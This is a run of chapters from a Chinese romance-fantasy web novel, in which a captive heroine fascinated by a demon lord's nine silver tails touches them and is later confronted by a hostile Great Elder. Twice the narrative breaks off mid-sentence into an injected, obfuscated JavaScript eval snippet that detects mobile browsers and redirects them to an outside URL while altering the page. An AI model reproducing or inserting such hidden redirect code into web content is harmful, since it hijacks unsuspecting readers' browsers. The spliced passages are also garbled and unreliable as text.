自从她与羿逸安的手不小心触碰后,羿逸安全程动作迟缓,根本不敢与她对视,视线甚至根本没有在她身上停留过。 这是什么意思? 她昏迷这一周,发生了什么大事了? 40. 触动(十五) 难不成有人冒领羿逸安的身份,假扮他? 文可烟努力让自己的声音听起来进了镇静自若,开口问:“我睡了多长时间?” 羿逸安目光落在文可烟身旁的床柱,声音有些迟缓又有些不确定,“大概五个时辰?” 文可烟那颗悬着的心,刚随着呼出的半口气松了松,却又猛地揪住,那口气瞬间卡在了胸口,憋得她脸颊都泛起了红晕。 没到一周,他怎么来了? 不是他说的,这一周不会来吗? 这才五个时辰就……就来了? 而且他从来没有这个时辰过来过。 想到这儿,文可烟又转动眼珠,朝窗外望去。 窗外,依旧惨留着几缕余晖。 文可烟微仰起头,悄悄将视线在羿逸安的脸上轻轻扫视着,不放过任何一个细微的表情,试图找出熟悉的痕迹。接着她试探出口。“你是……羿逸安?” 羿逸安本就不动的身子,忽地又是一顿。他向来冷淡如冰的声音,此刻终于泛起了别的情绪,闷闷的,“不然,你觉得我会是谁?” 即便如此,他依旧固执地不肯看她一眼。线条优美的下颌线,像是被寒霜浸润过的玉石,透着一股生人勿近的疏离感,让人不敢轻易靠近。 文可烟莫名有种猜想……她是不是在做梦。 她的目光开始大张旗鼓地在羿逸安身上来回上下扫视。 既然是梦……那不就是难得的机会,她可得好好欣赏,饱览一番。毕竟,就算眼前这人可能是假的,但至少这身材是实打实的真吧。 她将目光缓缓投向不远处的羿逸安。 羿逸安身姿颀长挺拔,此刻,呆呆得像根毫无生气的木头桩子,可与生俱来的孤傲与清冷气质,怎么也藏不住,完全是让人完全无法忽视的存在。 一袭暗黑长袍直直垂落在后,将他整个人包裹其中。 这身暗色长袍的材质极为独特,远远看去,好似将夜的深邃与绸缎的丝滑完美地揉和在了一起。凑近细瞧,隐隐可见其泛起低调而奢华的浅淡光泽,自有一番让人难以忽视的高贵气韵。 长袍左侧领口边缘处,不经意间微微翻起,随着羿逸安不太规律的呼吸轻轻起伏着。内里银白条纹也随之若隐若现,灵动异常。 不得不说,这等效果,一般人还真穿不出。不管是什么风格的衣着,穿在他身上,都能衬得无比矜贵。好似不是衣着在衬托他,而是他才是那些华丽衣着的灵魂所在,赋予了衣着来别样的美感。 就说这长袍吧,穿在他身上,将他那宽大的肩膀衬得更加完美。每一个弧度,每一条线条,都恰到好处,让人看了便难以移开视线。 再往下……再往下视线被这长袍挡住了。可文可烟脑海中,却不由自主地自动浮现出他修长的双腿。 此刻,羿逸安侧面文可烟,文可烟微微歪着头,不自觉伸长脖子,可始终无法看见他的正面,只能看到他线条流畅却又带着几分疏离感的侧脸。 不过,这并不妨碍文可烟在脑海中肆意想象,毕竟,又不是没有见过他穿其他衣服的时候。 文可烟越看越觉得赏心悦目,忍不住轻轻咂咂嘴。这身材,真是看得人心都暖乎乎的。 “那你怎么不看我?”文可烟说最后几个字时尾音上扬,可能她自己也没察觉,这话不似她以往的语调,却似钩子一般钓着羿逸安。 羿逸安果真看向她了,倏然正过身,双眸一瞬不眨盯着文可烟。他看着十分冷漠,可那脸却越憋越红,连带着耳尖也不着痕迹地露出丝丝红晕。 文可烟被羿逸安这突如其来的动作整得措手不及,她的身体微微一僵,手不自觉地搭上身旁某处,想要抓住什么来稳住自己慌乱的心。 慌乱之中,这狠狠一揪,只感觉指尖触碰到一片温热而又紧实的肌肤,带着弹性。 寂静又封闭的空间里,空气都凝固了…… 只听羿逸安闷“哼”一声,那声音低沉而性感,要多禁欲有多禁欲。 不是梦! 可奇怪的是,她并没有感觉到疼痛。那……这声音……! 文可烟低头,惊疑地朝自己的手看去。目之所及,皆是自己的手搭在羿逸安结实有力手腕上的画面。 一时间,她有些反应不过来。 下一秒,那只手过电般猛地闪开。可即便手已经离开,她指尖却还残留着羿逸安手腕上温热的触感。 那若有若无的温度,顺着指尖一路蔓延到了心底,令文可烟无意识将手指弯曲一瞬,想要抓住什么。 时间在这一刻慢下来,似乎只是短短的一瞬,却又好像过了很久很久。文可烟深吸一口气,小心翼翼地轻抬螓首,朝羿逸安看去。 羿逸安静静地站在那里,身姿挺拔宛若一座不可撼动的最高雪山。他面容冷峻,眼眸中平静无波,好似刚刚那一声闷哼并非出自他口,而是文可烟的幻听。 她都对他上下其手了,怎么他反而一点也不计较,还依旧静静站在那里。 这到底是不是梦啊? 就在文可烟还沉浸在这份疑惑之中时,羿逸安突然露出的眼神,让她再次陷入了震惊。 他纯净的双眸中,竟隐隐带着一丝期待,像是在等待着什么。 !!!? 文可烟心底“咯噔”一下,露出这副隐忍又期待的眼神是作甚? 她还没从这眼神所带来的震惊之中脱离出来,便又被另一重震惊吸引了注意力。 只是这视线转移的一瞬间,她便忽视了羿逸安迅速转变的脸色。 羿逸安身后竟毫无征兆地冒出一条银白色尾巴正悠悠晃动着,似在和文可烟热情地打招呼,又似在肆意展现主人内心无法克制的心绪。 文可烟眼底倏地闪过一抹光亮,一眼不眨地盯着羿逸安身后。她脑中被眼前的景象刺激得一波又一波,震得她头皮发麻。 好半晌,她都维持着同一个动作,就连呼吸都不自觉慢了一瞬。 这尾巴出现的机制……到底是什么?她好像也没做什么呀! 正疑惑着,她的目光顿在某处。 羿逸安肩后有一抹毛茸茸的银白毛发,正轻柔地有节奏地轻微上下起伏着,若隐若现的。好似在呼吸,又像是在和 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文可烟这时感受到羿逸安十分有存在感的眼神,眼珠微微一转,灵动地看向他。 只见羿逸安一脸冷厉,可眼神中却藏不住懵懂之意,根本没反应过来他尾巴出来了。 文可烟忍不住笑意,咬了咬嘴唇,努力让自己看起来严肃一些,可笑意却怎么也藏不住,从她的眼角眉梢溢了出来。 这也太像个人畜无害的小朋友了。 羿逸安身后那条尾巴见还没得到文可烟的关注,瞬间便闹得更凶了。它卯足了劲儿用力地摆动着,尾巴尖在空中划出一道道优美的弧线,尽情表演着,尽情展示着自己的存在感。 文可烟微微移动眼珠,目光轻轻扫过去。那条尾巴瞬间高高扬起,尾巴上的毛发根根分明。它雄赳赳、气昂昂的样子,好似打了胜仗的将军,尾巴尖还时不时地轻轻抖动一下,仿佛正和其它尾巴炫耀,骄傲得不可一世。 文可烟再度晃眼看向另一边,羿逸安肩后的毛发似乎也在争宠,显露得更多了。毛茸茸的一小片,探头探脑的样子,随时准备从羿逸安肩后“出土”。可好像又忌惮着那位“将军”的威严,不敢露太多,只是怯生生地多探出一小点儿小脑袋。 那条已经出来的尾巴,哪能容忍其他尾巴抢风头,立马站直身体,只剩尾巴间微微翘起,作势要朝肩后的尾巴打去。那模样就像一个霸道的将军在管教不听话的下级,威风凛凛。 这下,羿逸安肩后的那最后一小点毛茸茸也被这气势吓得消失不见。文可烟再怎么伸长脖颈,都无法看见羿逸安肩后其它尾巴的形态了。她有些失落,双眸中落下一抹遗憾。 那条“将军”尾巴见状,消停下来,乖乖孤傲地立在文可烟看得见的地方。尾巴尖轻轻晃动,那得意的小模样,好似在宣示自己的胜利。 文可烟呢,此刻就像在追一部精彩绝伦的剧一样,完全被这灵动的小家伙们吸引住了。她目不转睛地盯着羿逸安身后,丝毫没有察觉到,周身气息正在转变。 羿逸安看着文可烟全神贯注的模样,心里莫名涌起一股说不出的滋味。 41. 触动(十六) 羿逸安稳步上前,修长而有力的手指轻抬起文可烟的下颚,手指微微用力捏紧,霸道得不容拒绝。 “你在笑什么?”羿逸安的声音低沉而冰冷,如寒冬里的冷风,直直地灌进文可烟的耳朵里。 他眼中满是不满,不满文可烟痴迷的眼神,注意力却不是他…… 可他为何会不满意?他自己也说不清楚。 睫羽下的双眸藏起的无尽情绪,让人捉摸不透。他的的呼吸一点一点喷洒在文可烟的脸上,带着冰冷的气息,和着他指尖的凉意,瞬间将文可烟包围。 脑子没反应过来,生理反应倒是先一步做出反应。文可烟浑身被寒气所包围,所到之处,都泛起一层细密的鸡皮疙瘩,就连脖颈处都莫名泛起令人战栗的痒意。 文可烟被羿逸安的手指控制住了,整个头部都不得动弹,不得不与羿逸安凌厉的眼神对视。 羿逸安再次冷漠提醒,语气随之比刚才更冷更淡,“又在看什么?” 他盯着文可烟飘忽不定却又十分灵动的双眼,说话间似乎又飘到他身后去了,怎么也控制不住。 羿逸安的眉头微微皱起,心中涌起一股莫名的烦躁。 文可烟感受着面前压迫感、侵略感十足的冷冽气息瞬间化作了实质,紧紧将她包裹,让她有些喘不过气来。 她下意识屏住呼吸,长长的睫羽微微颤动,更是下意识避开与羿逸安对视。最终,眼神又飘至羿逸安身后的尾巴上。 这下,九条银白尾巴一根不少映入她眼帘。看着面前的尾巴,她再次被深深震撼。 毛发的银白不是普通的银白,而是带着与生俱来的高雅,像是月光洒在雪地上,尽显矜贵气息。九条尾巴齐聚一堂,场景过于壮观,只是它们个个都低埋着头,很是没精打采。 文可烟眼神再次飘忽至羿逸安脸上,只见他冷面乳霜,周身冷冽的气息像是要将周围的空气给冻结。随后她像是没看见般,眼珠再次一转,飘到他身后的尾巴上。 羿逸安:“……” 她的眸光在羿逸安冷峻的脸色和那九条没精打采的尾巴上来回转换,心中那股恨铁不成钢的劲儿直往上涌,恨不得立刻出口教训一番。 看看你们这气势低弱,没精打采的样子,跟你们主人没有丝毫相近,赶紧学学你们主人,给她支棱起来!一个个都蔫头耷脑的,像什么样子,成什么体统,真是让人着急!” 羿逸安脸色更不耐了,他原本就紧皱的眉头此刻又拧紧了几分,连眼神都多了一丝烦躁。他眼睁睁看着文可烟与他近距离贴面,可她的注意力却全然不在自己身上。 这让他心口发闷,那股闷气在他胸腔里横冲直撞,无法疏解也找不到出口,让他有些……不知所措。 他的另一只手不自觉地握紧又松开。 不知过了多久,他终是顺着她的眼神看了过去。 这时,文可烟却并不如他意,双手猛地扶住他双颊,动作间慌乱又急切。 她的指尖轻轻触碰他的面颊,细腻的触感似乎带着电流一般,让羿逸安的身体微微一僵。 文可烟轻轻用力,将羿逸安的视线摆正过来,不让他发现自己在看什么秘密。 一吸一动间迅速且大胆,羿逸安根本来不及反应,只能像任由她摆弄。 羿逸安捏着文可烟下颚的手自然也就此僵住,失去了原有的力度。就连那九条尾巴的毛发瞬间炸起来,像是看见了什么极其恐怖、吓破了胆的事,每一根毛发都竖得笔直,在柔弱的烛光下都不禁泛着寒光。 文可烟微微仰起头,目光直直落在羿逸安那张有些窘迫的脸上,回想起今日他脸上的表情各种转变,颇为丰富,她不禁觉得好笑。 从最初的冷峻到后来的迷茫,再到现在说不上来的窘迫,每个表情都十分复杂难辨,值得品味。 笑意在文可烟的嘴角渐渐蔓延开来,藏也藏不住,差点就溢了出来。她憋得有些累,但为了不被戳破秘密,继续欣赏尾巴,她依旧强撑着,努力让自己的表情看起来自然一些。 不过迟来的反应终究不会不来。羿逸安的僵硬似乎有传染功能,带动着文可烟也不由自主陷入些许僵硬之中。 她微微一怔,那快要溢出的笑意僵在嘴角。 如梦初醒般惊觉,自己与羿逸安距离竟如此之近,近得能数清他长长的睫毛,近得能清晰看见他眼中倒映着的自己的模样,那小小的、征楞的自己。 近在咫尺俊郎面容,在如此近距离观察下更显精致。 羿逸安白皙而细腻的皮肤,根本不像其他魔那般皮糙肉厚,粗狂又野性,而是温润如玉,让人忍不住想要多看几眼。似乎只要多看一眼就能被那细腻的质感所治愈,内心的浮躁便会少一分,再少一分。 文可烟的视线先是落在他凌厉的双眼上。那双眼睛望不见底,寒气逼人,她的视线在那深不见底“小寒潭”陡然一滞,仅仅是一瞬,她便强装镇定,缓缓移开视线,面色如常,好似什么也没发生。 其实,羿逸安的双眼皮褶皱并不明显,平日里也并不张扬。唯有像这种时候微微垂眸时,那褶皱才如同隐匿在云雾的海市蜃楼,清晰地显现出来。 在大多数正视他人的时刻,这褶皱几乎隐匿不见,只留下极浅的一抹痕迹。而恰巧正是这看似轻描淡写的痕迹,却暗处无尽锋芒,让人在不经意间便能感受到他眼神中的那股狠绝与强悍的攻击性。仅仅只是一个眼神,便能将敌者击退千里。 文可烟微微垂下眼帘,试图掩饰自己内心的慌乱。目光继而落在他高挺而笔直的的鼻梁,接着,视线顺着向下缓缓滑过,最终停留在他线条优美的嘴唇。那处正轻抿着,蕴着倔强和冷傲,萦绕着一种拒人于千里之外的冰冷气息。 然而,不知怎的,她的脑海里突然闪过一个大胆又荒唐的念头—— 这嘴唇看上去……好像很好吻? 文可烟还搭在羿逸安脸颊的指尖,微微松开些许,可下一秒,又不自觉重新附上,情不自禁地在他面颊上轻点一下。 这一瞬间,时间慢了下来,她的心兀自跳重重跳动起来,好似被指尖轻点的不是羿逸安的面颊,而是她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16423455|184831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心。 受到蛊惑般,文可烟的指尖不知不觉间,朝着她此刻目之所及的嘴唇徐徐移去。 当猛地意识到自己在做什么时,她被自己的举动吓住。双手在空中划出一道慌乱的弧线,动作变得笨拙起来。最终,那只手转了个弯,轻轻搭在了羿逸安的肩膀上,使力推了一下。 指尖触碰到羿逸安的肩膀,即便隔着好几层衣料,她仍能清晰感受到他肌肉的紧绷,充满了力量感。 文可烟心下一阵慌乱,急忙弯腰低头,垂眸盯着面前的锦被,假装整理起来。手指无意识地摩挲床单,似要把指尖残留的触感替换掉。 羿逸安被她这一推,身形微微一晃,有些不明所以地怔在原地,直愣愣地盯着文可烟,甚至前倾身体,更贴近了她。 文可烟受不了他灼热的目光,佯装没看见,悄悄吐出一口绵长的气息。 只须臾,她便硬气地仰头,直视羿逸安。 可当她的目光不经意,瞥见他身后那九条银白的尾巴时,所有强撑被兴奋瞬间瓦解。 彼时,羿逸安静立其间,浑然未觉身后那九条尾巴正肆意起伏着。 他本就生得极美,剑眉星目,鼻梁高挺,此刻被这九条银尾一衬,更添了几分不食人间烟火的仙气。 一时间,根本分辨不清到底是羿逸安衬得那九条尾巴愈发灵动,还是那九条尾巴衬得羿逸安更加超凡脱俗。总之,那是一种不可亵渎的空灵之美,美得能让人为之呼吸一窒,只觉心魂都被这绝美摄了去。 文可烟看得眼睛都直了,目光却全然未落在这令人心动的绝佳美颜之上。她的视线,稳稳地、直直地越过那张俊美无双的脸,径直落在了他身后那九条银白的尾巴上。 此刻在文可烟的双眸里,那些尾巴如灵动的仙绦,自他身后悠悠舒展而下,在光影中流转着梦幻的银芒,似被月华浸染过,又似是九天之上垂落而下的云锦,轻柔缥缈,仙气飘飘,轻轻一触,就会化作虚无。 好在文可烟这一路走来,早已历经诸多稀奇古怪之事,也算得上是“久经沙场”,练就了一身“泰山崩于前而色不变”的从容本事。 所以面对任何看似天打五雷轰、超乎常理的事物,她都能做到面不改色,镇定自若得如同历经沧桑的老者。正如那句老话所说,光脚的不怕穿鞋的,生死都看淡了,还有什么能让她畏惧? 可此刻,面对眼前这如梦似幻的画面,文可烟终究还是没能守住心底的那份淡然。她表面看似镇定自若、面无表情,可她的大脑皮层却早已兴奋异常。 上次,她只不过是轻轻触碰了一下这些尾巴,它们便反应极大。此刻,羿逸安完全不知情,正专注凝视她。若她再次触碰,这些尾巴会怎样?羿逸安又会怎样?会不会因为受不了别人的触碰而对她痛下杀手? “我在笑我自己喝了一杯却还是渴。”她终于开口,每一个字都像是从冰冷的机器里挤出来的,僵硬又机械,十足的不走心。 平稳嗓音下,文可烟那颗鲜少急促的心不安分地砰砰砰跳个不停,震得她胸口发麻。 42. 触动(十七) “我在看水,我还想喝水,你能帮我再倒一杯吗?”她又补充道,试图让这个不着调的理由听起来更加合理。 羿逸安闻言,眉梢细微一挑,微动间,更添几分难以言喻的魅惑。他前倾的身体慢慢直起身来,举止间优雅而从容,似在刻意放缓节奏,观察文可烟的反应。 随着他直起身,原本笼罩在文可烟身上的压迫感瞬间消散大半。 文可烟只觉得心头一松,像是卸下了千斤重担,几不可闻地松了口气。 羿逸安意味深长看了文可烟一眼,似要将她心底的秘密洞穿,又似对她的异常状态和行为满是不解。 他微微眯起双眸,狭长的眼眸里裹上了一层危险气息。也就在这瞬间,他嘴角缓缓上扬,勾起一抹似笑非笑的弧度。 这笑容初看时,带着几分漫不经心的慵懒。可再仔细瞧去,便能发现那笑容里隐隐透着渗人的气息。丝丝危险的气息随之也在他周围无形弥漫散开来。 文可烟汗毛都竖了起来,待羿逸安转过身后,她伺机待发,身体微微前倾,十分有准头地虚握住其中一条尾巴。 刹那间,柔软而顺滑的触感从手心绵延至整个手掌,那感觉就像是在摸上等的丝绸,细腻、温润,还有几分舒爽的凉意。 这奇妙的触感让文可烟的大脑瞬间一片空白,紧张与兴奋在心底交织翻涌,唯有手中那柔软的触感清晰而真实。 那条被逮住的尾巴此刻如临大敌般,炸毛炸得比刚才更甚。每一根毛发都直直竖起,像是无数根细小的银针。可这些“银针”杀伤力却极弱,一触即弯,软绵绵贴合在她掌心。 倒有点儿像在……示弱? 文可烟被自己这个产生的荒诞念头吓了一跳。 就在这时,羿逸安转身的动作倏地一顿,脊背微僵。仅仅只一瞬,他便反应过来发生了什么。 他的眸光陡然一凛,刹那间,他身形一动,以迅雷不及掩耳之势往旁侧转身。 随着他这快速又凌厉的一转,衣袂在空中翻飞起来,带起一阵轻柔又带着些许劲道的微风。 安静燃烧的烛火,在这阵风的撩拨下,开始剧烈地摇曳起来,火焰忽高忽低。 所有响声在这安静的空间中格外明显,空间里紧张的氛围愈发浓烈。 仅仅是在这一眨眼的功夫,文可烟手心一空,尾巴从最开始的中间部分开始,一点点向上滑去。还没等她来得及收紧手指,那条尾巴从她指尖逃脱了出去。 那条尾巴顺滑从指尖消失的瞬间,带起阵阵酥麻的感觉,让文可烟忍不住打了个小小的激灵。 现下,尾巴已消失不见,可她手心还残留着那痒痒的触觉,好似它还在她手中。这种感觉,如同一股温热的气流在她血液里肆意流窜。所到之处,都撩拨着她的神经,使得她忍不住想要握拳,将那调皮的气流禁锢住,无法动弹。 羿逸安后退三步,身姿依旧挺拔,若细细瞧去,便能发现他周身隐隐透着几分难以察觉的僵硬。 羿逸安垂下眼眸,长睫浓密而纤长,此刻正如灵动的羽翼轻轻颤动着。随着睫毛的颤动,在他眼下投出一片如烟似雾的阴影,恰到好处地将他眼底的所有情绪遮掩起来,根本无法窥探分毫。正如他的目光中的沉晦不明,黑暗且阴沉。 这所有的动作快得如同闪电,文可烟根本来不及反应,手还维持着虚握的动作。 明明羿逸安离她更远了些,可她却莫名觉得周围压迫的气压陡增。流窜的气息泛出的丝丝凉意,竟比她刚刚与羿逸安面贴面时还有浓烈几分。 文可烟微微皱了皱眉,却装作不在意地握了握拳,感受着掌心传来的力度,随后又缓缓松开,将手背在身后,随意且漫不经心。 接着,她像是完全读不懂羿逸安周身的寒意,直接下了床榻。 在羿逸安极具侵略感的强势气流笼罩下,文可烟步伐硬是没有丝毫停顿,每一步都踏得稳稳当当,一步一步向朝他靠近。 待走到距离他半步之远时,文可烟终于停了下来。她轻仰起头,眼眸一抬,直直与羿逸安的视线撞了个正着。 两人目光在空中交汇,谁也没有先移开视线,就这么一眼不眨对视着。若是忽略术法上的运用,此刻二人之间流转的气势,几乎可以算得上不相上下。 文可烟不似往常那般淡然,对一切都抱着无所谓的态度。此刻,她眼底似有什么东西在蠢蠢欲动,蓬勃而坚韧。 再仔细看,她瞳孔外最边缘的一角,倒映着闪着微弱亮光仙绦般的尾巴,那些尾巴正一闪一闪地微微起伏着。 她面上依旧是不变的淡然无趣,唯有那睫羽下的双眸,此刻流露出从未有过的明亮光芒,似星辰坠入眼眸,熠熠生辉。 兴许,这光芒是尾巴微亮的所致,但更大的缘由,或许还是来自于她自身。 因为这份非常稀少的转变,就连她周身气压都变得柔和起来,就像春日里轻柔的微风,带着丝丝缕缕的生机与暖意,拂过这略显紧张的空间。 文可烟不动声色地咽了咽唾液,就在这电光火石之间,她眼中闪过一丝决绝,手灵动地迅速绕到羿逸安身后,一把抓住了他某条禁不住好奇探出头来的尾巴。 她握尾巴的动作熟稔得完全不像是第一次干,手指轻轻扣住尾巴的根部,好似在心底演练了无数遍,每一个动作都精准而自然。 那条尾巴在她掌心微微扭动,似在抗议,又似在撒娇,让她的心也跟着慌乱了起来。 羿逸安被这突如其来的举动震惊得完全没反应过来,眼神中满是错愕与难以置信。 他根本不敢相信,在他与文可烟对视的那么长的时间里,她心里想的竟是这般事。 好几秒后,他才后知后觉地将尾巴收了回去。 文可烟脸色一变,明亮的眼眸瞬间黯淡了几分,似很不满意。 他就仅仅只是将尾巴收了回去,然后就不再动作了? 这魔尊到底是怎么了?她都在他这么清醒的时候摸他尾巴了,他还这么无动于衷? 难不成,是摸尾巴在这个世界不算什么越界的事? 可不管是摸什么都不行啊,他不应该是外界传的根本摸不到他半根汗毛、残忍至极的魔尊吗? 她都快骑到他头上去了,他怎么还表现出这么一副呆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16423456|184831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呆的样子? 难不成,她穿过来,还把原来的魔尊大人的性格给整扭曲变形了? 想到这儿,文可烟心一横,双手在身侧暗暗攥紧。她轻声冷“哼”一声,声音虽轻,却很是俏皮挑衅。 “魔尊大人为何会有尾巴?” 羿逸安脸上表情在顷刻僵住,原本就冷峻的面容此刻更是如同覆上了一层寒霜,周身寒气逼人。可他的姿势却半分未变,一动不动。 他根本不打算做些什么,没有愤怒的咆哮,也没有激烈的举动,仅仅只是静静地站在那里,散发出一股不容侵犯的威严,似一座高耸入云、难以攀登的冰山。 “魔尊大人莫不是……妖……” 文可烟故意拖长了尾音,那个“妖”字刚一出口,羿逸安便冷眉斜睨过来,眼神似刀子般,裹挟着无尽的寒意与威慑,直直地朝文可烟剐去,似要将她看穿、将她冻结。 文可烟本不觉得害怕,可身体的生理反应却不受控制地翻涌出来。 她只觉一股寒意从脚底直蹿脑门,头皮发麻。她下意识地缩了缩脖子,却又不想在羿逸安面前露怯,强装镇定地挺直了脊背。 她偷偷打量着羿逸安,觉得他这副模样,定是要开口说出什么骇人的话来。以至于她的心脏在胸腔里疯狂跳动,激动又兴奋的情绪在她心底肆意蔓延。 “莫要再……得寸进尺。” 羿逸安说出这话时,全然没有上位者的威严,倒像是第一次开口说话般晦涩生硬。 文可烟:“……” 话落,气氛寂静好半晌,烛火依旧在燃烧,发出轻微的噼啪声,似在为这无言的氛围伴奏。 羿逸安似乎也意识到自己刚刚的语气十分不符合他魔尊的一贯作风,他负手而立。沉默片刻后,他再次开口:“不要以为两个月期限到了,你就真的可以无后顾之忧。” 他的目光不再看向文可烟半分,似刻意躲避着她的眼神,又似在表明自己的态度。 文可烟眼睛瞪大。 他这是在警告她,若她再不听话,两个月之后,她不一定会无痛楚之忧地死去。 “……” 好家伙,有这么漂亮的尾巴,心肠却如蛇蝎一般狠毒。 呃,好吧,他本来就是比蛇蝎还狠绝的存在,是外界传闻中令人闻风丧胆、心狠手辣的魔尊啊。 文可烟蔫蔫地垂下眼帘,耷拉着头,不敢再挑衅半分。 罢了,她这烂命一条,还是不要再想什么提前加速死亡进程这种糊涂事了,安安静静、老老实实、本本分分待满这两个月,才是最为保险的。 羿逸安轻飘飘扫了一眼文可烟的头顶,冰冷语气下却有几分无奈:“我这几天可能不会过来,所以……” 文可烟抢过话头:“你今晚过来,就是为了说这事?” 她的声音乍一听平静如水,可细细听来,却隐隐透漏出连她自己都未曾察觉的委屈,似那被雨水打湿的花瓣,带着几分楚楚可怜。 也许,是因为心中那一小点儿异样的情绪在滋生,她不想承认,也不敢承认,以至于她自己都忽略了内心这微妙的变化。 43. 变动(一) 停顿一瞬,文可烟又接着说:“而且昨天不都说过了吗?”怎么今天还要特意过来再说一次,难不成你每天都要过来说一次? 可后面这句话,她可没胆子说出来,此刻她根本怼不了羿逸安一点儿。 羿逸安听着文可烟低落的声音,掩藏在身下的右手不知不觉间紧握了拳头。他在极力压制着一种情绪,可那股情绪究竟是什么,他自己也说不清楚,只是觉得胸口发闷,闷得难受。 “嗯。”他轻轻应了一声,有些沙哑,有些疲惫,像是从喉咙深处挤出来的。 “你什么时候会再过来?”文可烟仍垂着头,视线紧紧盯着自己的裙摆,完全不看羿逸安。 羿逸安沉默了,过了许久,他才缓缓开口,“不太清楚。” “那一周三次,你还会守约吗?”文可烟声音还是很平静,可那平静之下,却藏着名为期待与忐忑的东西。 空气再次陷入沉寂,羿逸安长久地没回答,像是在犹豫什么。 他的目光落在文可烟身上,那小小的身影明明那么单薄,却又透着一股倔强。终于,他开口:“这一周应该不太行,但之后……” “我知道了。”文可烟态度强硬地打断羿逸安,声音却很轻。 氛围再次安静下来,静得让人有些窒息。 文可烟回想起这几日,两次碰见悦心都能看见的血迹……心中的不安愈来愈重。她犹豫片刻,试探着问:“是要发生了什么事吗?” “没有。”羿逸安回答得很干脆,声线却少有的紧绷,似在极力掩饰着什么。 “可我总觉得有什么大事要发生。” 羿逸安在骗她。 一种莫名的预感在文可烟心头萦绕,挥之不去。她总觉得羿逸安在谋划着一件天大的事,一旦卷入,便再难脱身。倘若之后他不再来,他或许两月之约都不一定履行得了。 “没有。”羿逸安回应依旧简短,语气中的气势分毫不减。 “羿逸安。”文可烟终于抬起头,轻轻唤了一声。 “嗯?”羿逸安微微侧头,看向她,似乎也被文可烟突然的正式所影响。 “如果你想杀人,就杀我。” 文可烟扬起灿烂的笑容,坦然道:“你知道的,我想被你杀。” 文可烟的声音飘进羿逸安耳中,径直穿透羿逸安的耳膜。 这话的冲击力化作锋利的冰刃,直直射向羿逸安的心房,将他原本就千疮百孔的心湖瞬间冻结。 他的身体微微一僵,背在身后手指不自觉地蜷缩起来。刚刚那被握尾巴而产生的奇异陌生感觉瞬间凝固,不再泛滥。 屋内再没有响起任何声音,只剩两人交织的呼吸声。 绵长缓慢又几不可闻的呼吸,似乎是他们之间唯一还存在的联系,却又那么脆弱…… …… * 这已然是羿逸安离开后的第九天了,窗外的天色阴沉沉的,似一块厚重的灰色幕布,沉甸甸地压在人心头。 文可烟坐在雕花木椅上,手中无意识地摩挲着那盏青瓷茶杯,指尖沿着茶杯边缘缓缓滑动。不知怎的,她的眼皮不受控制地狂跳起来,一下又一下,扰得她心神不宁。 此时,屋外传来一阵怪异的声音。那声音起初如轻柔的风声,丝丝缕缕地钻进耳朵。可细听之下,却又与平常那柔和的风声大相径庭,带着几分尖锐。 一直陪伴在文可烟身旁的白酒,用自己小巧的身子推了下她胳膊一下,扑棱着翅膀飞到她耳边,压低了声音:“外面有魔。” 文可烟捏着茶杯杯壁的手指微微收紧,但她脸上却是一副不甚在意的模样:“魔?” 她漫不经心道:“那他不知道自己走进来?” 白酒听了这话,一张小脸瞬间皱成了苦瓜,像是吃了一只苍蝇般哽住,它急得直跺脚:“……不是一个,是一群!要是都进来,咱们这房子怕是要被毁得七零八落了!” “……” 怎么回事?羿逸安的净地,为何今日突然闯进这么多魔?难道这结界不管用了? 她沉思片刻,而后抬眸平静地看向白酒,“那你去把门打开。” 白酒一听,满脸的不情愿,可它终究还是拗不过本能,不情不愿地朝着门口飞去。 门缓缓打开,屋外的景象瞬间映入眼帘。只见小院里密密麻麻地围满了人,哦不,是魔。 他们一个个身形高大,那一张张或狰狞、或冷漠的面孔,在昏暗的天色下显得格外可怖。 站在最前端留着大长白胡须的魔,率先开了口:“小殿下。” 文可烟神色冷静,目光缓缓扫过眼前这群魔。当她的视线落在那说话之人身上时,只觉得这人有些眼熟,好像在哪儿见过。 哦,她想起来了,那日在议事阁,这人就站在羿逸安身旁,离他是最近的一个,但距离依旧很远。 “好大胆子,你这女子见到大长老,居然还稳稳坐在椅子上,这般无礼!”一个身材魁梧的魔突然跳了出来,满脸怒容指着文可烟大声呵斥道。 哦,原来是大长老,怪不得声音听着如此熟悉。 文可烟心中暗自思忖,眼神却依旧平静如水,古井无波。 大长老却抬了抬手,制止了那位为他出头的小魔。他脸上挂着和蔼的笑容,可文可烟却莫名觉得,这笑容背后藏着无尽的渗人寒意,就像是裹着蜜糖的毒药,让她心底不由自主地发毛。 “小殿下可知,今日是百年一次的‘六界玄灵天枢筵’?” 文可烟浑身不适,隔着这不算近的距离,她似乎能看到大长老那和蔼笑容下隐藏的阴鸷目光。 而且,她可没忘记,这大长老当初可是对她恨之入骨,一心想要置她于死地。怎么今日突然态度来了个一百八十度大转弯,这般和颜悦色?这其中必定有诈。 文可烟不接茬,沉默着垂下眼眸,抿了一口手中的茶,对大长老的话充耳不闻。 “你……别太不识好歹!”又有魔安耐不住,大声叫嚷起来。 大长老却依旧保持着那副慈悲的笑容,他轻轻摸了摸自己那长长的胡须,慢悠悠地说道:“小殿下可知,尊上今日会将来此筵席的人杀个片甲不留?” 他故意停顿了片刻,盯着文可烟,观察着她的反应,而后才接着说道,“包括文家。”< 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大长老透过文可烟似乎看到了另外的什么人,脸上勾起一抹狠厉的笑意。 